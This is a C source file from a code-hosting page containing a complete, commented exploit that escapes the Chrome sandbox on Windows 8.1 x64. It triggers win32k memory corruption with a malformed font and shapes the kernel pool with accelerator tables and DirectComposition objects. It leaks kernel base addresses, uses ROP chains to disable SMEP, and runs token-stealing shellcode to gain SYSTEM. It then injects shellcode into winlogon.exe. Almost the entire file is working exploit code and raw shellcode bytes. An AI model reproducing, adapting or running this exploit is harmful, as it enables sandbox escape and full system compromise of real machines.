Permalink
Cannot retrieve contributors at this time
Fetching contributors…
| // Memory corruption leading to privilege escalation on Windows 8.1 x64. | |
| // | |
| // This is the complete exploit whose function is to escape the chrome sandbox | |
| // using a kernel bug, and ultimately spawn a visible calc with SYSTEM | |
| // privileges under winlogon.exe. | |
| // | |
| // This exploit is written to be position independent as the Chrome sandbox | |
| // restricts calls to `LoadLibrary`. Writing the exploit in a normal fashion | |
| // would fail when loaded in the targets memory because the exploit would then | |
| // require a properly initialized IAT in order to call external functions. It | |
| // is not done as LoadLibrary is blocked. PIC code avoids this problem | |
| // completely. | |
| // | |
| // This exploit is based off a template for writing shellcode, taken from: | |
| // http://www.exploit-monday.com/2013/08/writing-optimized-windows-shellcode-in-c.html | |
| // | |
| // This exploit was tested using Visual Studio 2013 Express, compiled for x64. | |
| // | |
| #pragma warning( disable : 4047 ) // Disable warning about 'different levels of indirection' | |
| #pragma warning( disable : 4055 ) // Ignore cast warnings | |
| #pragma warning( disable : 4100 ) // Disable warning about 'unreferenced formal parameter' | |
| #pragma warning( disable : 4201 ) // Disable warning about 'nameless struct/union' | |
| #pragma warning( disable : 4716 ) // Disable warning about function needing to return a value | |
| #include <windows.h> | |
| #include "GetProcAddressWithHash.h" | |
| #include "64BitHelper.h" | |
| #include "FunctionSignatures.h" | |
| #include "FontData.h" | |
| #define INFOLEAK_BUFFER 0x40000000 | |
| #define DCOM_ARRAY_BASE 0x41000000 | |
| #define PAYLOAD_BASE 0x42000000 | |
| #define ACCEL_ARRAY_BASE 0x43000000 | |
| #define HWND_ARRAY_BASE 0x44000000 | |
| // WndProc is a callback function that is needed when creating a window. | |
| // It does nothing of consequence. However, the exploit relies on overriding | |
| // a suitable object (`CreateDCompositionHwndTarget`), which requires a | |
| // window. Hence we need to create windows. | |
| LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) { | |
| FuncDefWindowProcA MyDefWindowProcA; | |
| ULONGLONG pMyDefWindowProcA; | |
| pMyDefWindowProcA = *(ULONGLONG *)(PAYLOAD_BASE + 0x1950); | |
| MyDefWindowProcA = (FuncDefWindowProcA) pMyDefWindowProcA; | |
| return MyDefWindowProcA(hwnd, msg, wParam, lParam); | |
| } | |
| // create_remote_process is run after we have privilege elevated (to SYSTEM). | |
| // We use this function to spawn calc.exe in order to have a visual indicator | |
| // that the exploit has succeeded. | |
| void create_remote_process() { | |
| // Declaring functions that we want to use (see FunctionSignatures.h). | |
| FuncOpenProcess MyOpenProcess; | |
| FuncVirtualAllocEx MyVirtualAllocEx; | |
| FuncWriteProcessMemory MyWriteProcessMemory; | |
| FuncCreateRemoteThread MyCreateRemoteThread; | |
| HANDLE hWinLogon; | |
| LPVOID pMem; | |
| DWORD winlogon_pid; | |
| // Shellcode that pops calc. Taken from Skyline's w64-exec-calc-shellcode-clean-func. | |
| char shellcode[] = { | |
| '\x50', '\x51', '\x52', '\x53', '\x56', '\x57', '\x55', '\x6A', '\x60', | |
| '\x5A', '\x68', '\x63', '\x61', '\x6C', '\x63', '\x54', '\x59', '\x48', | |
| '\x83', '\xEC', '\x28', '\x65', '\x48', '\x8B', '\x32', '\x48', '\x8B', | |
| '\x76', '\x18', '\x48', '\x8B', '\x76', '\x10', '\x48', '\xAD', '\x48', | |
| '\x8B', '\x30', '\x48', '\x8B', '\x7E', '\x30', '\x03', '\x57', '\x3C', | |
| '\x8B', '\x5C', '\x17', '\x28', '\x8B', '\x74', '\x1F', '\x20', '\x48', | |
| '\x01', '\xFE', '\x8B', '\x54', '\x1F', '\x24', '\x0F', '\xB7', '\x2C', | |
| '\x17', '\x8D', '\x52', '\x02', '\xAD', '\x81', '\x3C', '\x07', '\x57', | |
| '\x69', '\x6E', '\x45', '\x75', '\xEF', '\x8B', '\x74', '\x1F', '\x1C', | |
| '\x48', '\x01', '\xFE', '\x8B', '\x34', '\xAE', '\x48', '\x01', '\xF7', | |
| '\x99', '\xFF', '\xD7', '\x48', '\x83', '\xC4', '\x30', '\x5D', '\x5F', | |
| '\x5E', '\x5B', '\x5A', '\x59', '\x58', '\xC3', 0 | |
| }; | |
| // Get function addresses. | |
| // | |
| // GetProcAddressWithHash uses a dictionary of function hashes, and iterates | |
| // through to find the function with that particular hash. For details, see | |
| // `GetProcAddressWithHash.h`. | |
| MyOpenProcess = (FuncOpenProcess)GetProcAddressWithHash(0x50B695EE); | |
| MyVirtualAllocEx = (FuncVirtualAllocEx)GetProcAddressWithHash(0x3F9287AE); | |
| MyWriteProcessMemory = (FuncWriteProcessMemory)GetProcAddressWithHash(0xE7BDD8C5); | |
| MyCreateRemoteThread = (FuncCreateRemoteThread)GetProcAddressWithHash(0x799AACC6); | |
| // Create remote thread in winlogon and execute shellcode. | |
| winlogon_pid = *(DWORD *)(PAYLOAD_BASE + 0x1000); | |
| hWinLogon = MyOpenProcess(PROCESS_ALL_ACCESS, FALSE, winlogon_pid); | |
| pMem = MyVirtualAllocEx(hWinLogon, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); | |
| MyWriteProcessMemory(hWinLogon, pMem, shellcode, 0x69, 0); | |
| MyCreateRemoteThread(hWinLogon, NULL, 0, (LPTHREAD_START_ROUTINE)pMem, NULL, 0, NULL); | |
| return; | |
| } | |
| // Leak the base address of `win32k.sys`. This infoleak is slightly different from | |
| // the standalone infoleak because we need to handle the position-independent nature | |
| // of this exploit. | |
| ULONGLONG win32k_infoleak() { | |
| // Declaring functions that we want to use (see FunctionSignatures.h). | |
| FuncCreateCompatibleDC MyCreateCompatibleDC; | |
| FuncDeleteDC MyDeleteDC; | |
| ULONGLONG win32k_base_addr = 0; | |
| HDC hdc; | |
| // Get function addresses. | |
| MyCreateCompatibleDC = (FuncCreateCompatibleDC)GetProcAddressWithHash(0xA5314068); | |
| MyDeleteDC = (FuncDeleteDC)GetProcAddressWithHash(0x63B566A2); | |
| hdc = MyCreateCompatibleDC(NULL); | |
| if (hdc == NULL) { | |
| return NULL; | |
| } | |
| // Leak the address and retrieve it from `buffer`. | |
| MyGetTextMetricsW(hdc, INFOLEAK_BUFFER); | |
| DWORD hi = *(DWORD *)(INFOLEAK_BUFFER + 0x38 + 4); // High DWORD of leaked address | |
| DWORD lo = *(DWORD *)(INFOLEAK_BUFFER + 0x38); // Low DWORD of leaked address | |
| // Check: High DWORD should be a kernel-mode address (i.e. | |
| // 0xffff0800`00000000). We make the check stricter by checking for a | |
| // subset of kernel-mode addresses. | |
| if ((hi & 0xfffff000) != 0xfffff000) { | |
| return NULL; | |
| } | |
| // Retrieve the address of `win32k!RGNOBJ::UpdateUserRgn+0x70` using | |
| // the following computation. | |
| win32k_base_addr = ((ULONGLONG)hi << 32) | lo; | |
| // Adjust for offset to get base address of `win32k.sys`. | |
| win32k_base_addr -= 0x0003cf00; | |
| // Check: Base address of `win32k.sys` should be of the form | |
| // 0xFFFFFxxx`00xxx000. | |
| if ((win32k_base_addr & 0xff000fff) != 0) { | |
| return NULL; | |
| } | |
| MyDeleteDC(hdc); | |
| return win32k_base_addr; | |
| } | |
| // The "main" function. | |
| // | |
| // Normally, we would call this "main" but if you call a function "main", `link.exe` | |
| // requires that you link against the CRT. Rather, we pass a linker option of | |
| // "/ENTRY:ExecutePayload" in order to get around this issue. | |
| VOID ExecutePayload(VOID) { | |
| // Declaring functions that we want to use (see FunctionSignatures.h). | |
| FuncCreateDCompositionHwndTarget MyCreateDCompositionHwndTarget; | |
| FuncDestroyDCompositionHwndTarget MyDestroyDCompositionHwndTarget; | |
| FuncVirtualAlloc MyVirtualAlloc; | |
| Funcmemcpy Mymemcpy; | |
| Funcmalloc Mymalloc; | |
| FuncGetModuleHandleA MyGetModuleHandleA; | |
| FuncCreateAcceleratorTableA MyCreateAcceleratorTableA; | |
| FuncDestroyAcceleratorTable MyDestroyAcceleratorTable; | |
| FuncRegisterClassExA MyRegisterClassExA; | |
| FuncCreateWindowExA MyCreateWindowExA; | |
| FuncDestroyWindow MyDestroyWindow; | |
| FuncwsprintfA MywsprintfA; | |
| // Variables. | |
| int i; | |
| HWND hWnd; | |
| HWND *pHwnds; | |
| HACCEL hAccel; | |
| HACCEL *pAccels; | |
| LPACCEL lpAccel; | |
| ATOM class_atom; | |
| WNDCLASSEXA window_class; | |
| HINSTANCE hThisInstance; | |
| ULONGLONG *pDefWindowProcA; | |
| DWORD cFonts; | |
| PVOID pFont_data; | |
| ULONGLONG nt_base_addr; | |
| ULONGLONG win32k_base_addr; | |
| DWORD ExAllocatePoolWithTag_offset; | |
| // Strings must be treated as a `char` array in order to prevent them from | |
| // being stored in an `.rdata` section. In order to maintain position- | |
| // independence, all data must be stored in the same section. | |
| // | |
| // Thanks to Nick Harbour for coming up with this technique: | |
| // http://nickharbour.wordpress.com/2010/07/01/writing-shellcode-with-a-c-compiler/ | |
| // Shellcode. | |
| // | |
| // Shellcode that steals the kernel token, and stores the winlogon.exe PID for | |
| // use by create_remote_process(). It also deletes the corrupted object after | |
| // that. | |
| char sc[] = { | |
| '\x4D', '\x8B', '\xBB', '\x68', '\x01', '\x00', '\x00', // mov r15, [r11+0x168], save return address of kernel stack | |
| '\x41', '\x51', // push r9 save regs | |
| '\x41', '\x52', // push r10 | |
| '\x65', '\x4C', '\x8B', '\x0C', '\x25', '\x88', '\x01', '\x00', '\x00', // mov r9, gs:[0x188], get _ETHREAD from KPCR (PRCB @ 0x180 from KPCR, _ETHREAD @ 0x8 from PRCB) | |
| '\x4D', '\x8B', '\x89', '\xB8', '\x00', '\x00', '\x00', // mov r9, [r9+0xb8], get _EPROCESS from _ETHREAD | |
| '\x4D', '\x89', '\xCA', // mov r10, r9 save current eprocess | |
| '\x4D', '\x8B', '\x89', '\x40', '\x02', '\x00', '\x00', // mov r9, [r9+0x240] $a, get blink | |
| '\x49', '\x81', '\xE9', '\x38', '\x02', '\x00', '\x00', // sub r9, 0x238 => _KPROCESS | |
| '\x41', '\x81', '\xB9', '\x38', '\x04', '\x00', '\x00', '\x77', '\x69', '\x6E', '\x6C', // cmp [r9+0x438], 0x6c6e6977 does ImageName begin with 'winl' (winlogon) | |
| '\x75', '\xe5', // jnz $a no? then keep searching! | |
| '\x4D', '\x8B', '\xA1', '\xE0', '\x02', '\x00', '\x00', // mov r12, [r9+0x2e0] get pid | |
| '\x48', '\xC7', '\xC0', '\x00', '\x10', '\x00', '\x42', // mov rax, 0x42001000 | |
| '\x4C', '\x89', '\x20', // mov [rax], r12 save pid for use later | |
| '\x4D', '\x8B', '\x89', '\x48', '\x03', '\x00', '\x00', // mov r9, [r9+0x348] get token | |
| '\x49', '\x83', '\xE1', '\xF0', // and r9, 0xfffffffffffffff0 get SYSTEM token's address | |
| '\x49', '\x83', '\x41', '\xD0', '\x0A', // add [r9-0x30], 0x10 increment SYSTEM token's reference count by 0x10 | |
| '\x4D', '\x89', '\x8A', '\x48', '\x03', '\x00', '\x00', // mov [r10+0x348], r9 replace our token with system token | |
| '\x41', '\x5A', // pop r10 restore regs | |
| '\x41', '\x59', // pop r9 | |
| '\x41', '\x53', // push r11, pointer near to original stack | |
| '\x5C', // pop rsp | |
| '\x48', '\x81', '\xC4', '\x68', '\x01', '\x00', '\x00', // add rsp, 0x168, restore original kernel rsp | |
| '\x4C', '\x89', '\x3C', '\x24', // mov [rsp], r15, restore original return address | |
| '\xFF', '\x24', '\x25', '\x70', '\x50', '\x00', '\x42', // jmp [0x42005070], continue on to delete the object CHwndTargetProp::Delete(void) | |
| 0 | |
| }; | |
| // | |
| // --- End shellcode --- | |
| // Strings needed. | |
| char winclass[] = { 'w', 'i', 'n', 'c', 'l', 's', '0', '0', '0', '0', 0 }; | |
| char winclassfmt[] = { 'w', 'i', 'n', 'c', 'l', 's', '%', '0', '4', 'x', 0 }; | |
| char wintitle[] = { 'w', 'i', 'n', 't', 'i', 't', '0', '0', '0', '0', 0 }; | |
| char wintitlefmt[] = { 'w', 'i', 'n', 't', 'i', 't', '%', '0', '4', 'x', 0 }; | |
| // Get function addresses. | |
| MyCreateDCompositionHwndTarget = (FuncCreateDCompositionHwndTarget)GetProcAddressWithHash(0x2DE8894F); | |
| MyDestroyDCompositionHwndTarget = (FuncDestroyDCompositionHwndTarget)GetProcAddressWithHash(0xBA8C6651); | |
| MyVirtualAlloc = (FuncVirtualAlloc)GetProcAddressWithHash(0xE553A458); | |
| Mymemcpy = (Funcmemcpy)GetProcAddressWithHash(0x6D538D92); | |
| Mymalloc = (Funcmalloc)GetProcAddressWithHash(0x7EA37D50); | |
| MyGetModuleHandleA = (FuncGetModuleHandleA)GetProcAddressWithHash(0xDAD5B06C); | |
| MyCreateAcceleratorTableA = (FuncCreateAcceleratorTableA)GetProcAddressWithHash(0xC58E8ED4); | |
| MyDestroyAcceleratorTable = (FuncDestroyAcceleratorTable)GetProcAddressWithHash(0xA710DE2F); | |
| MyRegisterClassExA = (FuncRegisterClassExA)GetProcAddressWithHash(0x58632FE8); | |
| MyCreateWindowExA = (FuncCreateWindowExA)GetProcAddressWithHash(0x3C1CC302); | |
| MyDestroyWindow = (FuncDestroyWindow)GetProcAddressWithHash(0xD115425A); | |
| MywsprintfA = (FuncwsprintfA)GetProcAddressWithHash(0xD0EB608D); | |
| // Allocate memory regions that we use to store various data. | |
| MyVirtualAlloc((LPVOID)INFOLEAK_BUFFER, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); | |
| MyVirtualAlloc((LPVOID)DCOM_ARRAY_BASE, 0x2000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); | |
| MyVirtualAlloc((LPVOID)PAYLOAD_BASE, 0x10000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); | |
| SecureZeroMemory((LPVOID)PAYLOAD_BASE, 0x10000); | |
| Mymemcpy((LPVOID)PAYLOAD_BASE, sc, sizeof(sc)); | |
| // Save the function pointer of DefWindowProcA globally while we are still in user-mode. | |
| // The callback (WndProc) that runs in kernel mode later cannot call `GetProcAddressWithHash` | |
| // any more. Hence, we store this first, so that WndProc can access it directly later. | |
| pDefWindowProcA = (ULONGLONG *)(PAYLOAD_BASE + 0x1950); | |
| *pDefWindowProcA = (ULONGLONG)GetProcAddressWithHash(0xA42CD322); // ntdll's DefWindowProcA's hash | |
| // Leak the base address. | |
| win32k_base_addr = win32k_infoleak(); | |
| if (win32k_base_addr == NULL) { | |
| return; | |
| } | |
| // Stack pivot and adjustment. | |
| // | |
| // IMPORTANT NOTE. | |
| // | |
| // This vTable is actually accessed twice as part of the code flow. | |
| // The first access is to the 2nd method in the vTable, at [RAX+8] (*). | |
| // The second access is to the 1st method in the vTable, at [RAX] (**). | |
| // | |
| // (*) First access | |
| // | |
| // As mentioned, in the code flow, there is a CALL [RAX+8], where RAX is the | |
| // address of the fake vTable (0x42005000). | |
| // | |
| // The call places us at [0x42005000+8], which is the xchg instruction | |
| // (stack pivot). At this point after the xchg, RSP is pointing to 0x42005000. | |
| // The next instruction of the gadget is RET, which will exec. POP RAX. | |
| // This sequence (RET + POP) shifts RSP by a total of 16 bytes, which is the | |
| // start of ROP chain 1. | |
| // | |
| *(ULONGLONG *)(PAYLOAD_BASE + 0x5000) = win32k_base_addr + 0x19fab; // pop rax # ret <-- RAX | |
| *(ULONGLONG *)(PAYLOAD_BASE + 0x5008) = win32k_base_addr + 0x6121; // xchg rax, rsp # ret (pivot) <-- this is where (1st) CALL jumps to. | |
| // | |
| // --- End stack pivot and adjustment --- | |
| // ROP chain 1: Retrieve base address of `ntoskrnl`. | |
| // | |
| // When ROP chain 1 exits, RBX will hold the address of the our | |
| // (fake) vTable. And 0x42000100 will hold the (leaked) address of | |
| // `ntoskrnl!ExAllocatePoolWithTag`. | |
| // | |
| *(ULONGLONG *)(PAYLOAD_BASE + 0x5010) = win32k_base_addr + 0x19fab; // pop rax # ret (RAX is source for our write) | |
| *(ULONGLONG *)(PAYLOAD_BASE + 0x5018) = win32k_base_addr + 0x352220; // pop into rax (pointer to leaked address of `ntoskrnl!ExAllocatePoolWithTag` that win32k imports) | |
| *(ULONGLONG *)(PAYLOAD_BASE + 0x5020) = win32k_base_addr + 0x98156; // pop rcx # ret (RCX is destination for our write) | |
| *(ULONGLONG *)(PAYLOAD_BASE + 0x5028) = PAYLOAD_BASE + 0x100; // pop into rcx (memory to write leaked address) | |
| *(ULONGLONG *)(PAYLOAD_BASE + 0x5030) = win32k_base_addr + 0xc432f; // mov rax, [rax] # mov [rcx], rax # ret (write gadget to [RCX]) | |
| // (**) Second access | |
| // | |
| // The second time the vTable is accessed (described above), it will | |
| // try to execute `POP RAX # RET`, which is undesirable. Hence, as part of | |
| // the *first* ROP chain, we override the vTable again, so that the second | |
| // access to it will be okay. | |
| // | |
| // When the code flow resumes after ROP chain 1 ends, the code will | |
| // use *RBX for its second access to the vTable. Hence, we want to | |
| // place our own value into RBX. Therefore, we `POP RBX`, which places | |
| // 0x42005100 into RBX. 0x42005100 is yet another (unused) memory | |
| // region that we control. We will construct a new fake vTable at 0x42005100. | |
| // | |
| *(ULONGLONG *)(PAYLOAD_BASE + 0x5038) = win32k_base_addr + 0x14db; // pop rbx # ret | |
| *(ULONGLONG *)(PAYLOAD_BASE + 0x5040) = PAYLOAD_BASE + 0x5100; // this will clobber the existing vTable object pointer (RBX) --------------------- | |
| // | | |
| // Setup the new fake vTable at 0x42005100. We don't do anything interesting | | |
| // with the second call. We just want it to return nicely. | | |
| *(ULONGLONG *)(PAYLOAD_BASE + 0x5100) = PAYLOAD_BASE + 0x5110; // double-dereference to get to gadget (actual ROP chain | | |
| *(ULONGLONG *)(PAYLOAD_BASE + 0x5108) = PAYLOAD_BASE + 0x5110; // (arbitrary pointer to pointer) continues here) | | |
| *(ULONGLONG *)(PAYLOAD_BASE + 0x5110) = win32k_base_addr + 0x6e314; // (`RET` gadget) | | |
| // | | |
| // Resume execution. Restore original stack pointer. | | |
| *(ULONGLONG *)(PAYLOAD_BASE + 0x5048) = win32k_base_addr + 0x7018e; // mov rax, r11 # ret (register holding a value close to original stack pointer) <- | |
| *(ULONGLONG *)(PAYLOAD_BASE + 0x5050) = win32k_base_addr + 0x98156; // pop rcx # ret | |
| *(ULONGLONG *)(PAYLOAD_BASE + 0x5058) = 0x8; // pop into rcx | |
| *(ULONGLONG *)(PAYLOAD_BASE + 0x5060) = win32k_base_addr + 0xee38f; // add rax, rcx # ret (adjust the stack pointer) | |
| *(ULONGLONG *)(PAYLOAD_BASE + 0x5068) = win32k_base_addr + 0x1f8c1; // push rax # sub eax, 8b480020h # pop rsp # and al, 8 # mov rdi, qword ptr [rsp+10] # mov eax, edx # ret | |
| // | |
| // --- END ROP chain 1 --- | |
| // Initial setup for pool fengshui. | |
| lpAccel = (LPACCEL)Mymalloc(sizeof(ACCEL)); | |
| SecureZeroMemory(lpAccel, sizeof(ACCEL)); | |
| // Create many accelerator tables, and store them. | |
| pAccels = (HACCEL *)MyVirtualAlloc((LPVOID)(ACCEL_ARRAY_BASE), sizeof(HACCEL) * 5000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); | |
| for (i = 0; i < 5000; i++) { | |
| hAccel = MyCreateAcceleratorTableA(lpAccel, 1); | |
| pAccels[i] = hAccel; | |
| } | |
| // Create window handles, and store them. | |
| pHwnds = (HWND *)MyVirtualAlloc((LPVOID)(HWND_ARRAY_BASE), sizeof(HWND) * 1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); | |
| hThisInstance = MyGetModuleHandleA(NULL); | |
| for (i = 0; i < 1000; i++) { | |
| SecureZeroMemory(&window_class, sizeof(WNDCLASSEXA)); | |
| MywsprintfA(winclass, winclassfmt, i); | |
| MywsprintfA(wintitle, wintitlefmt, i); | |
| window_class.cbSize = sizeof(WNDCLASSEXA); | |
| window_class.style = CS_HREDRAW | CS_VREDRAW; | |
| window_class.lpfnWndProc = (WNDPROC)WndProc; | |
| window_class.hInstance = hThisInstance; | |
| window_class.hIcon = NULL; | |
| window_class.hCursor = NULL; | |
| window_class.hbrBackground = (HBRUSH)COLOR_WINDOW; | |
| window_class.lpszMenuName = NULL; | |
| window_class.lpszClassName = winclass; | |
| class_atom = MyRegisterClassExA(&window_class); | |
| hWnd = MyCreateWindowExA(0, MAKEINTATOM(class_atom), wintitle, WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, hThisInstance, NULL); | |
| // We try to create as many window handles as possible, up to 1,000. | |
| if (hWnd) { | |
| pHwnds[i] = hWnd; | |
| } else { | |
| break; | |
| } | |
| } | |
| // Create holes in the series of accelerator tables. | |
| for (i = 3600; i < 4600; i += 2) { | |
| MyDestroyAcceleratorTable(pAccels[i]); | |
| } | |
| // Fill the holes with with DCompositionHwndTarget(s). | |
| // (at this point we have a series of alternating DCompositionHwndTarget objects) | |
| for (int i = 0; i < 500; i++) { | |
| MyCreateDCompositionHwndTarget(pHwnds[i], 0, DCOM_ARRAY_BASE + i * 4); | |
| } | |
| // Create "adjacent" holes (to the previous holes) in the series of | |
| // accelerator tables. | |
| for (int i = 3601; i < 4601; i += 2) { | |
| MyDestroyAcceleratorTable(pAccels[i]); | |
| } | |
| // Fill the holes with with DCompositionHwndTarget(s). | |
| // (at this point we have a contiguous series of DCompositionHwndTarget objects) | |
| for (int i = 500; i < 1000; i++) { | |
| MyCreateDCompositionHwndTarget(pHwnds[i], 0, DCOM_ARRAY_BASE + i * 4); | |
| } | |
| // Create some holes in the contiguous series of DCompositionHwndTarget objects, | |
| // that we insert the vulnerable object into. | |
| for (int i = 400; i < 405; i++) { | |
| MyDestroyDCompositionHwndTarget(pHwnds[i], 0); | |
| } | |
| // 0xFEFE are placeholder bytes for the offset to the malformed font data. | |
| // As explained in the file comments above, the `assemble-pic-exploit.py` | |
| // script will calculate the correct offset to the font data and patch over | |
| // these bytes. | |
| pFont_data = (ULONGLONG)ExecutePayload + 0xFEFE; | |
| // Trigger the memory corruption: Render the font and cause memory overwrite. | |
| cFonts = 0; | |
| HANDLE fh = MyAddFontMemResourceEx(pFont_data, sizeof(font_data), 0, &cFonts); | |
| // Clean up: remove the font from memory. | |
| MyRemoveFontMemResourceEx(fh); | |
| // First trigger (ROP chain 1) | |
| // | |
| // When `DestroyDCompositionHwndTarget` is called, it will destroy the object | |
| // by calling its destructor, which will make use of the overwritten vTable | |
| // pointer. This, we abuse, to call ROP chain 1. ROP chain 1 leaks the address | |
| // of `ntoskrnl!ExAllocatePoolWithTag`. | |
| for (int i = 0; i < 1000; i++) { | |
| MyDestroyDCompositionHwndTarget(pHwnds[i], 0); | |
| } | |
| // Compute actual base address of `ntoskrnl` from `ntoskrnl!ExAllocatePoolWithTag`. | |
| ExAllocatePoolWithTag_offset = 0x2a3a50; | |
| nt_base_addr = *(ULONGLONG *)(PAYLOAD_BASE + 0x100) - ExAllocatePoolWithTag_offset; | |
| // ROP chain 2: Disable SMEP and return to token stealing shellcode. | |
| // | |
| // Now we reset the values in our fake vTable (0x42005000), with a new | |
| // ROP chain. This gets called later in the second trigger. | |
| *(ULONGLONG *)(PAYLOAD_BASE + 0x5000) = win32k_base_addr + 0x189a3a; // xchg eax, esp # sbb al, 0 # mov eax, ebx # add rsp, 0x20 # pop rbx # ret | |
| *(ULONGLONG *)(PAYLOAD_BASE + 0x5008) = 0x41414141; // filler | |
| *(ULONGLONG *)(PAYLOAD_BASE + 0x5010) = 0x41414141; // filler | |
| *(ULONGLONG *)(PAYLOAD_BASE + 0x5018) = 0x41414141; // filler | |
| *(ULONGLONG *)(PAYLOAD_BASE + 0x5020) = 0x41414141; // filler | |
| *(ULONGLONG *)(PAYLOAD_BASE + 0x5028) = win32k_base_addr + 0x19fab; // pop rax # ret | |
| *(ULONGLONG *)(PAYLOAD_BASE + 0x5030) = 0x406f8; // pop into rax, cr4 value | |
| *(ULONGLONG *)(PAYLOAD_BASE + 0x5038) = nt_base_addr + 0x38a3cc; // mov cr4, rax # add rsp, 0x28 # ret (SMEP disabling gadget) | |
| *(ULONGLONG *)(PAYLOAD_BASE + 0x5040) = 0x41414141; // filler | |
| *(ULONGLONG *)(PAYLOAD_BASE + 0x5048) = 0x41414141; // filler | |
| *(ULONGLONG *)(PAYLOAD_BASE + 0x5050) = 0x41414141; // filler | |
| *(ULONGLONG *)(PAYLOAD_BASE + 0x5058) = 0x41414141; // filler | |
| *(ULONGLONG *)(PAYLOAD_BASE + 0x5060) = 0x41414141; // filler | |
| *(ULONGLONG *)(PAYLOAD_BASE + 0x5068) = PAYLOAD_BASE; // return to userland and win! | |
| *(ULONGLONG *)(PAYLOAD_BASE + 0x5070) = win32k_base_addr + 0x165010; // CHwndTargetProp::Delete(void) | |
| // | |
| // --- End ROP chain 2 --- | |
| // Second trigger (ROP chain 2) | |
| // | |
| // When `DestroyWindow` is called, it will attempt to find any dangling | |
| // references to the window. Because the "first trigger" did not properly | |
| // destroy the `DCompositionHwndTarget` object (which has a reference to | |
| // the window), `DestroyWindow` will try, again, to call the destructor | |
| // for the `DCompositionHwndTarget` object. Hence, the same destructor is | |
| // called. But because we have already re-setup the vTable, it calls | |
| // ROP chain 2. | |
| // | |
| for (int i = 0; i < 1000; i++) { | |
| MyDestroyWindow(pHwnds[i]); | |
| } | |
| // Clean up for the heap fengshui performed earlier | |
| // (for cleanliness, reliability). | |
| for (int i = 0; i < 5000; i++) { | |
| MyDestroyAcceleratorTable(pAccels[i]); | |
| } | |
| // Pop calc. | |
| create_remote_process(); | |
| } | |